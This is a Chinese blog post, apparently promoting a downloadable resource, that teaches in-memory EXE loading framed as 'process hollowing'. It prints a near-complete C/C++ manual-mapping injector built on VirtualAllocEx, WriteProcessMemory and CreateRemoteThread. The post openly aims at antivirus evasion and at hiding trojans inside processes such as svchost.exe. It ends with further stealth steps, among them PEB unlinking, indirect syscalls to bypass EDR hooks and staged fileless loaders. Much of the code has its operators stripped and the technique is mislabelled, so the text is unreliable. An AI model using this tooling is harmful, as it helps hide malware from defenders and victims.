
简介进程空中技术Process Hollowing又称RunPE是一种在内存中加载并执行可执行文件的高级系统编程技术。这份C源码面向安全研究人员、逆向工程师及对Windows底层机制感兴趣的开发者提供了可以直接参考的实现示例。资源压缩包共1个文件为约2KB的CPP源文件精炼地展示了RunPE的核心步骤包括创建挂起进程、清空目标进程代码段、写入目标EXE映像、设置入口点并恢复线程执行等关键环节。通过研读代码读者可以直观理解PE文件格式、进程内存结构、Windows API调用序列以及如何避免在磁盘上留下痕迹同时也能为针对此类手法的检测与防御提供研究基础。该资源已有1205人学习下载适合具备一定Windows编程与逆向基础、希望深入探索进程注入与内存执行原理的技术人员。2. 进程空中技术揭秘为什么要在内存中直接加载EXE1.1 从“落地即暴露”说起做安全研究或者做免杀对抗的朋友肯定绕不开一个尴尬的场景你准备了一个工具、一个马子或者一个自研的小程序只要往磁盘上一丢杀软基本就能在几秒内把它按在地上。原因不复杂——静态扫描就是看文件特征你落地了等于把脸伸过去让人家拍照。就算你做了加壳、混淆文件本身的PE头、区段信息、导入表这些特征还是一堆可分析的东西。所以我一直觉得真正的高阶玩法应该是“不落地”。而这个方向里最经典、最基础、也最值得研究的就是标题里说的进程空中技术也叫Process Hollowing本质上是把一段可执行代码加载到另一个进程的内存空间里然后让那个进程的线程去执行它。整个过程里你没有一个全新的EXE文件出现在磁盘上。这篇博文我会从原理到实操把进程空中技术里最关键的一环——在内存中加载EXE——讲透。适合对这些内容有一定基础的读者比如做恶意代码分析、红队工具开发、或者对Windows系统底层机制感兴趣的人。如果你是纯新手建议先去把PE结构的基础补一补再回来看这篇文章会有收获得多。1.2 内存加载到底解决了什么问题先把边界讲清楚。我们常说的“内存加载EXE”在Windows平台上通常指两件事一种是反射式DLL注入这个大家听得比较多把DLL文件作为字节数组在内存中手动映射不落地。但DLL和EXE有个非常大的区别DLL需要导出函数加载器在正常loadlibrary时会调用它的入口点并且DLL有一个模块基址方便其他模块引用。另一种就是这篇要重点聊的EXE的手动映射Manual Map。EXE比DLL麻烦多了因为EXE通常会有一个独立的地址空间假设默认基址、重定位表、导入表、TLS回调等等你把它加载到一个已经跑起来的进程里要处理的东西比DLL多一个数量级。那对红队和恶意软件来说内存加载EXE的意义是什么核心就一句话绕过基于文件落地的检测同时借壳运行。你让一个正常的、已签名的系统进程比如svchost.exe或者explorer.exe内存里跑着你自己的代码行为和正常的系统进程混在一起——这对防御方来说识别难度极高。因为你没法靠“发现一个新出现的可疑exe文件”这种粗粒度规则来发现它。所以这篇文章不只是讲一个API调用链而是希望讲清楚从PE结构到内存映射到重定位和导入表修复的完整链条。理解了这个链条你才能在各种奇葩环境下灵活调整方案而不是死记脚本。3. 内存PE加载原理把EXE“搬进”别人家2.1 PE文件是怎么在正常加载器下生效的要理解手动加载就必须先搞明白Windows加载器原本是怎么工作的。从双击一个EXE开始系统会做这么几件事打开文件读取DOS头、NT头确认这是一个合法的PE文件。解析PE头里的SizeOfImage、ImageBase、SectionAlignment等字段调用NtMapViewOfSection或者直接分配一块虚拟内存用来存放映射后的映像。把文件的各个节Section按节表里的RVA相对虚拟地址和文件偏移逐一拷贝或者映射到内存。注意内存中的布局和文件中的布局不是一回事文件里乱七八糟的偏移到了内存里要按页对齐。如果加载的地址和PE头里预设的ImageBase不一致绝大多数情况会不一致因为有ASLR那就要处理重定位表把每个需要重定位的地址修正到新的基址上。解析导入表找到每个导入的DLL名称依次加载这些DLL然后通过GetProcAddress逐个获取函数地址填到IAT导入地址表里。处理延迟导入、TLS回调、SEH异常处理表等等。最后创建主线程从入口点AddressOfEntryPoint开始执行。正常情况下这一切都是ntdll里的加载器帮你做好的你完全不用关心细节。但做内存加载你就是要自己当一次“加载器”——把第2到第6步全部手动做一遍。这也是为什么内存加载EXE不是“调个API就完事”而是要写一个手工的PE解析器。它本质上就是在实现一个极简版的LoadLibrary。2.2 为什么不能直接把文件字节拷进内存就跑很多人第一次写内存加载的时候最容易犯的错误是把整个文件的字节读取到一块内存然后定位到AddressOfEntryPoint直接把eip跳过去执行。这么干能跑起来的情况少之又少原因在于Windows的PE加载严格区分了文件布局和内存布局。文件布局里节和节之间是紧凑排列的对齐粒度是FileAlignment通常是0x200即512字节。而内存布局里节和节之间需要按SectionAlignment通常是0x1000即4KB对齐。也就是说同一个节在文件里的起始偏移和在内存里的RVA不是一回事。如果你直接把文件的字节整个拷进内存节里的数据位置是错的代码和数据访问通通会错位。更麻烦的是文件头后面紧跟的区块数据在文件里和内存里的大小也可能不一样。比如.text节在文件里只有2KB但到了内存里它要占4KB因为内存页是4KB粒度的。如果直接按文件拷贝那.text节之后的节就会落在错误的位置上。所以手动映射的第一步一定是在目标进程里分配一块大小为SizeOfImage的虚拟内存然后按每个节的RVA把文件对应偏移的数据拷贝到指定的RVA位置。文件的头部直接拷到内存开头然后在头部之后逐个节进行映射拷贝。一句话总结文件的布局是压缩饼干内存的布局是分格收纳盒你得一块一块拆开然后放到正确的位置。2.3 手动映射EXE的完整实现过程在理解了原理之后整个手动映射的代码流程其实可以按顺序写出来。我直接用伪代码加关键API标注方便你对照。第一步读取文件数据校验PE头HANDLE hFile CreateFileA(payload.bin, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); DWORD fileSize GetFileSize(hFile, NULL); BYTE* fileBuffer HeapAlloc(GetProcessHeap(), 0, fileSize); ReadFile(hFile, fileBuffer, fileSize, bytesRead, NULL); PIMAGE_DOS_HEADER dos (PIMAGE_DOS_HEADER)fileBuffer; PIMAGE_NT_HEADERS nt (PIMAGE_NT_HEADERS)(fileBuffer dos-e_lfanew); // 校验 dos-e_magic IMAGE_DOS_SIGNATURE // 校验 nt-Signature IMAGE_NT_SIGNATURE第二步在目标进程里分配内存LPVOID baseAddress VirtualAllocEx(hProcess, (LPVOID)nt-OptionalHeader.ImageBase, nt-OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);注意这里有一层很关键的选择到底是按ImageBase原地址分配还是让系统自己选。按ImageBase分配的优势是如果分配成功那重定位都不用做了省了很大的事。但劣势是这个地址极有可能已经被占用ASLR会让系统进程的模块基址随机化而且进程里可能已经有DLL占了这个位置。所以更稳妥的做法是不指定基址传入NULL让系统自己挑一块空闲区域。第三步拷贝头部和各节// 拷贝全部头部 WriteProcessMemory(hProcess, baseAddress, fileBuffer, nt-OptionalHeader.SizeOfHeaders, NULL); // 遍历节表按节拷贝 PIMAGE_SECTION_HEADER sec IMAGE_FIRST_SECTION(nt); for (int i 0; i nt-FileHeader.NumberOfSections; i, sec) { WriteProcessMemory(hProcess, (BYTE*)baseAddress sec-VirtualAddress, fileBuffer sec-PointerToRawData, sec-SizeOfRawData, NULL); }你可能会问为什么不直接用ReadProcessMemory、WriteProcessMemory而是要在本地解析因为目标是跨进程操作——你要把EXE注入到另一个进程里而不是在自己的进程空间里加载。所以一切的写操作都是WriteProcessMemory。第四步计算实际加载基址与预期基址的差值DWORD64 delta (DWORD64)baseAddress - nt-OptionalHeader.ImageBase;这个delta就是后面重定位要用的偏移量。如果delta等于0说明幸运地加载到了预期基址重定位表可以跳过。第五步修复重定位表这步是整个手动加载里最容易出错、也最容易踩坑的地方。重定位表的数据结构是一个IMAGE_BASE_RELOCATION结构后面跟着一堆WORD类型的偏移。遍历的时候需要把每个偏移加上delta然后写回内存。关键是注意处理方式每个重定位项是一个16位值高4位是类型通常为IMAGE_REL_BASED_DIR64或IMAGE_REL_BASED_HIGHLOW低12位是相对于所在页基址的偏移。实际写码的时候要非常小心因为这一块的指针运算出错率很高——偏移不是从重定位块起始地址开始算而是从该页的基址即block-VirtualAddress开始算。第六步修复导入表导入表的修复是另一个让很多人卡住的地方。原始导入表里存放的是DLL名称和函数/序号信息加载器需要遍历导入描述符取出DLL名称。调用LoadLibraryA加载这个DLL。遍历OriginalFirstThunk指向的IMAGE_THUNK_DATA数组根据序号或名称调用GetProcAddress拿函数地址。把得到的函数地址填到FirstThunk指向的IAT数组里。注意这里有一个坑在手动加载的场景下目标进程往往不是你自己写的程序所以你的加载器代码运行在“宿主进程”里但导入表属于那个被注入的EXE模块。修复导入表本身需要由加载器在宿主进程里调用LoadLibrary和GetProcAddress然后把拿到的函数地址通过写内存的方式写入目标进程。第七步执行入口点// 常见做法是创建远程线程 LPTHREAD_START_ROUTINE entry (LPTHREAD_START_ROUTINE)((BYTE*)baseAddress nt-OptionalHeader.AddressOfEntryPoint); CreateRemoteThread(hProcess, NULL, 0, entry, NULL, 0, NULL);有TLS回调的话要在入口点之前先调用它们这里稍微展开一下——TLS回调指的就是IMAGE_TLS_DIRECTORY里的AddressOfCallBacks数组指向的函数它们会在入口点之前被调用。如果你的载荷有反调试或者反虚拟机逻辑往往就藏在这里。以上就是整个手工映射EXE的核心链条——分配内存、映射节、修重定位、修导入表、跑入口点。这五件事就是进程空中技术最核心的那根脊梁骨。4. 核心细节解析重定位、导入表和TLS是三大拦路虎3.1 重定位表的完整修复逻辑重定位表这个东西我多讲几句。很多人在这一步翻车都是因为对“页对齐”理解不到位。重定位表由若干个IMAGE_BASE_RELOCATION块组成每个块描述一个4KB页内的所有重定位项。块结构如下typedef struct _IMAGE_BASE_RELOCATION { DWORD VirtualAddress; // 该页在映像中的RVA DWORD SizeOfBlock; // 本块总大小含本结构 } IMAGE_BASE_RELOCATION; // 后面紧跟 (SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2 个WORD每一个WORD的高4位是重定位类型低12位是页内偏移RVA。修正地址的公式是DWORD64* patchAddr (DWORD64*)((BYTE*)baseAddress block-VirtualAddress (item 0x0FFF)); *patchAddr delta;这里面有几个现实中的坑第一个是一块一页。重定位表是按页组织的VirtualAddress表示这一页在映像中的起始RVA而不是文件偏移。你不要想着把它当文件偏移去算那样必错。第二个是类型判断。x64下高4位类型是0xAIMAGE_REL_BASED_DIR64x86下是0x3IMAGE_REL_BASED_HIGHLOW。其他类型如0x0绝对类型不需要修正。遇到0x0可以直接跳过不要画蛇添足加上delta。第三个是不要忘掉最后一个全零块。重定位表以一个VirtualAddress为0、SizeOfBlock为0的空块作为结束标志。遍历的时候要判断好边界否则容易越界访问。3.2 为什么导入表修复有那么多坑导入表最典型的一个坑是新的IAT应该放在哪里。如果你直接复用原EXE里的IAT位置——即节区里的FirstThunk数组——那必须保证这个节区在目标进程内存里是可写的。PE头里.adata节的Characteristics可能没有IMAGE_SCN_MEM_WRITE标志你直接WriteProcessMemory会失败或者写进去之后因为页保护不可写而崩溃。所以稳妥的做法是在目标进程里额外分配一块内存大小足够容纳所有的函数地址即所有导入DLL的所有函数的指针总和。把新IAT放在这块内存里。把导入描述符里的FirstThunk全部改成指向新的IAT地址。这一步不做你会发现有时候导入函数能解析成功但程序一跑就崩因为真正执行的时候它访问的是“假”的地址而那个地址在只读页里。还有一个坑是按序号导入。如果OriginalFirstThunk的最高位为1说明这是按序号导入的不需要查名称直接把序号当作函数地址索引就行。这种情况下你不能用GetProcAddress去查一个名称因为没有名称。处理方式if (thunk-u1.Ordinal IMAGE_ORDINAL_FLAG) { // 按序号导入直接得到序号 DWORD ordinal IMAGE_ORDINAL(thunk-u1.Ordinal); fnAddr GetProcAddress(hDll, (LPCSTR)ordinal); }3.3 TLS回调和异常处理函数的特别关注TLS回调函数是恶意代码常用的反分析手段也是手动加载时特别容易被忽略的环节。当你手动映射EXE时如果不处理TLS回调仅仅执行入口点有少量程序可能还是会跑——只要TLS回调里没有关键逻辑。但更多情况下TLS回调里藏着初始化解密、反调试、反虚拟机的代码你不调用它就会导致后续行为异常。TLS回调的处理流程遍历IMAGE_TLS_DIRECTORY取出AddressOfCallBacks指向的数组对数组中每个非空函数指针按顺序调用。注意数组以一个NULL指针结尾。PIMAGE_TLS_DIRECTORY tls (PIMAGE_TLS_DIRECTORY)((BYTE*)baseAddress nt-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress); if (tls) { PIMAGE_TLS_CALLBACK* callbacks (PIMAGE_TLS_CALLBACK*)tls-AddressOfCallBacks; while (callbacks *callbacks) { // 注意AddressOfCallBacks里存的是RVA需要加上基址 PIMAGE_TLS_CALLBACK cb (PIMAGE_TLS_CALLBACK)((BYTE*)baseAddress (DWORD64)*callbacks); cb((LPVOID)baseAddress, DLL_PROCESS_ATTACH, NULL); callbacks; } }还有SEH结构化异常处理和VEH向量化异常处理处理链的问题。如果是x64程序异常处理主要靠编译期生成的.pdata节——这个节里记录了每个函数的RVA和对应的异常处理信息。正常情况下加载器不需要手动注册这些因为Windows的异常分发机制会动态查找。但在某些拦截器或者特殊的运行环境下可能会触发异常但找不到处理器。这个比较深一般场景碰不到先记住有这回事就行。5. 实操过程与核心环节实现从理论到能跑的代码4.1 工具选型与开发环境我推荐用Visual Studio C/C来做这个练习因为Windows的PE结构定义、API声明都在SDK里方便你直接调用。x64和x86的差异有一点但整体流程一致。另外一个重要工具是x64dbg和Process Explorer。x64dbg用来单步调试你注入的进程确认重定位、导入表修复之后程序能跑起来。Process Explorer用来观察目标进程的模块列表——如果注入成功你会发现模块列表里多了一个没有文件路径的“内存模块”这就是你手动映射的EXE。我自己实验时常用一个最简单的测试载荷用MinGW或者MSVC编译一个弹MessageBox的EXE不依赖任何额外DLL只依赖user32.dll和kernel32.dll。这样调试起来最简单。4.2 完整代码骨架含关键注释我直接贴一段手动映射EXE的核心代码省略了一些错误处理但主线是完整的。为了让篇幅可控我只贴最关键的部分。BOOL ManualMap(HANDLE hProcess, BYTE* fileBuffer) { PIMAGE_DOS_HEADER dos (PIMAGE_DOS_HEADER)fileBuffer; if (dos-e_magic ! IMAGE_DOS_SIGNATURE) return FALSE; PIMAGE_NT_HEADERS nt (PIMAGE_NT_HEADERS)(fileBuffer dos-e_lfanew); if (nt-Signature ! IMAGE_NT_SIGNATURE) return FALSE; // 1. 在目标进程中分配内存 LPVOID baseAddr VirtualAllocEx(hProcess, NULL, nt-OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!baseAddr) return FALSE; // 2. 写入头部 if (!WriteProcessMemory(hProcess, baseAddr, fileBuffer, nt-OptionalHeader.SizeOfHeaders, NULL)) return FALSE; // 3. 写入各节 PIMAGE_SECTION_HEADER sec IMAGE_FIRST_SECTION(nt); for (int i 0; i nt-FileHeader.NumberOfSections; i, sec) { if (sec-SizeOfRawData 0) continue; WriteProcessMemory(hProcess, (BYTE*)baseAddr sec-VirtualAddress, fileBuffer sec-PointerToRawData, sec-SizeOfRawData, NULL); } // 4. 计算delta DWORD64 delta (DWORD64)baseAddr - nt-OptionalHeader.ImageBase; // 5. 修复重定位表 if (delta ! 0) { PIMAGE_DATA_DIRECTORY relocDir nt-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if (relocDir-Size 0) { DWORD curRVA relocDir-VirtualAddress; while (curRVA relocDir-VirtualAddress relocDir-Size) { PIMAGE_BASE_RELOCATION block (PIMAGE_BASE_RELOCATION)((BYTE*)baseAddr curRVA); if (block-VirtualAddress 0 block-SizeOfBlock 0) break; DWORD count (block-SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); WORD* items (WORD*)((BYTE*)block sizeof(IMAGE_BASE_RELOCATION)); for (DWORD j 0; j count; j) { if ((items[j] 12) IMAGE_REL_BASED_DIR64) { DWORD offset items[j] 0x0FFF; DWORD64* patchAddr (DWORD64*)((BYTE*)baseAddr block-VirtualAddress offset); *patchAddr delta; } } curRVA block-SizeOfBlock; } } } // 6. 修复导入表 PIMAGE_DATA_DIRECTORY importDir nt-OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; if (importDir-Size 0) { PIMAGE_IMPORT_DESCRIPTOR desc (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)baseAddr importDir-VirtualAddress); for (; desc-Name ! 0; desc) { char* dllName (char*)((BYTE*)baseAddr desc-Name); HMODULE hDll LoadLibraryA(dllName); if (!hDll) continue; // 拿到OriginalFirstThunk或FirstThunk PIMAGE_THUNK_DATA originalThunk (PIMAGE_THUNK_DATA)((BYTE*)baseAddr (desc-OriginalFirstThunk ? desc-OriginalFirstThunk : desc-FirstThunk)); PIMAGE_THUNK_DATA firstThunk (PIMAGE_THUNK_DATA)((BYTE*)baseAddr desc-FirstThunk); for (; originalThunk-u1.AddressOfData ! 0; originalThunk, firstThunk) { FARPROC fnAddr NULL; if (originalThunk-u1.Ordinal IMAGE_ORDINAL_FLAG) { DWORD ordinal IMAGE_ORDINAL(originalThunk-u1.Ordinal); fnAddr GetProcAddress(hDll, (LPCSTR)ordinal); } else { PIMAGE_IMPORT_BY_NAME byName (PIMAGE_IMPORT_BY_NAME)((BYTE*)baseAddr originalThunk-u1.AddressOfData); fnAddr GetProcAddress(hDll, byName-Name); } // 关键这里的写入目标是指向目标进程的内存 // 如果你的加载器跑在自己的进程里且目标进程是同一个直接赋值即可 // 跨进程场景需用WriteProcessMemory写入 firstThunk-u1.Function (ULONGLONG)fnAddr; } } } // 7. 处理TLS回调 // ...略按上节逻辑实现 // 8. 创建远程线程执行入口点 LPTHREAD_START_ROUTINE entry (LPTHREAD_START_ROUTINE)((BYTE*)baseAddr nt-OptionalHeader.AddressOfEntryPoint); HANDLE hThread CreateRemoteThread(hProcess, NULL, 0, entry, NULL, 0, NULL); return hThread ! NULL; }这段代码默认加载器与目标进程是同一个进程方便快速验证。跨进程的话自我修复时需要把IAT的写入改为WriteProcessMemory你可以在实现时自行调整。4.3 验证过程与调试技巧注入成功之后怎么确认它真的跑起来了最简单的做法是让载荷弹一个MessageBox如果你在桌面上看到了弹窗说明从入口点开始执行的代码已经正常走通了。但更多的时候你看到的不是弹窗而是崩溃。这时候就需要用x64dbg附加到目标进程查看崩溃地址附近的指令、检查重定位是否修复正确、导入表地址是否有效。我遇到最多的崩溃原因有三种重定位漏修某个地址忘了加delta导致访问了一个偏移量不对的内存直接访问违例。排查方法是看crash地址是否加上delta之后落在一个合理的代码或数据地址上。导入表地址写错函数指针没有被正确写入IAT或者IAT在只读页里导致跳转失败。这个通过看反汇编窗口的call指令目标就能发现。入口点地址算错AddressOfEntryPoint是一个RVA你要加上基址才是最终入口点。有人会直接把它当VA用一进去就崩。6. 常见问题与排查技巧实录5.1 常见报错与解决办法速查表症状可能原因解决方案VirtualAllocEx分配返回NULL目标进程是x64而你注入的是x86载荷或者SizeOfImage太大确认架构匹配检查目标进程是否在session 0调成PAGE_EXECUTE_READWRITE运行时崩溃在重定位相关指令重定位表漏处理或不完整Delta计算错误用x64dbg确认加载基址遍历重定位块时检查SizeOfBlock是否越界导入函数调用失败FirstThunk指向只读区域OriginalFirstThunk和FirstThunk指向同一块内存分配独立IAT区域改掉描述符的FirstThunkDLL加载失败依赖的DLL不在系统目录DLL名称大小写不敏感但路径有问题LoadLibraryA前先输出dllName确认用GetLastError定位注入后进程无响应TLS回调无限循环入口点等待事件载荷与宿主进程不兼容用调试器定位卡住的线程检查是否缺ExitProcess导致没有正常退出目标进程退出而不是执行载荷入口点调用了ExitProcess而非直接返回MSVC默认生成的目标带退出逻辑加载器注入的载荷建议用WinMain并让它不退出或自己控制退出5.2 调试时的三个独家心得说几个我踩过坑之后总结出来的经验第一注入千千万调试第一条。写内存加载代码必须配调试器。不要觉得代码看着没问题就上生产。很多时候崩不崩不只是在你的逻辑还取决于目标进程的页保护、模块DLL占用地址这些运行时因素。第二载荷要专门为内存加载编译。普通编译的EXE默认是给Windows加载器用的它会假设自己有完整的PE上下文。手动加载时如果你的EXE用了延迟加载、资源段、.NET运行时等特性会让手动加载复杂度暴增。所以做实验尽量不要用复杂的框架程序就用纯Win32 API的C程序最好连C运行时CRT都不要自动链接减少初始化依赖。第三注意入口点退出逻辑。如果是用CreateRemoteThread启动的入口点你的载荷执行完了如果有ExitProcess会把整个宿主进程一起结束。正确做法是把ExitProcess的调用地址也解析出来然后让载荷走一个更干净的收尾逻辑。我一般习惯在载荷里直接写一个死循环或者等待事件避免它退出时把宿主带崩。5.3 进阶方向从“能跑”到“难查”进程空中技术只是一个起点。真正在实战里你可以在这个基础上叠加很多进阶技巧内存模块隐藏在PEB进程环境块的模块链表里把你自己分配的内存模块从链表中摘除这样Process Explorer、EnumProcessModules之类的工具就看不到你的模块了。API调用混淆用间接系统调用Indirect Syscall绕开用户态Hook,在和EDR对抗时特别常见。多阶段加载先用一个小型反射加载器stager在内存里接收下一段载荷再手动映射真正的EXE实现“无文件加载内存解密进程空壳”的完整链路。重复使用目标进程的合法句柄比CreateRemoteThread更隐蔽的是通过Spawn或者利用现有的线程来执行shellcode避免创建新线程这个敏感行为。我自己在做完手动映射EXE之后再倒回去看DLL注入明显感觉以前很多“知其然不知其所以然”的地方一下子通了。你理解了一次“从PE到进程内存”的完整重映射你对Windows加载器、PE结构、虚拟内存、进程线程模型的认知会是完全不一样的高度。这个内容后续还可以这样扩展可以尝试用相同思路实现一个DLL版的手动映射器或者把手动映射封装成shellcode塞到一段可执行缓冲区里。每进一步都是对Windows机制更深一层的理解。在实际项目中我也发现认真搭过这套东西之后再去看别人的加载器代码很多招数一眼就能看穿因为底层逻辑万变不离其宗。本文还有配套的精品资源点击获取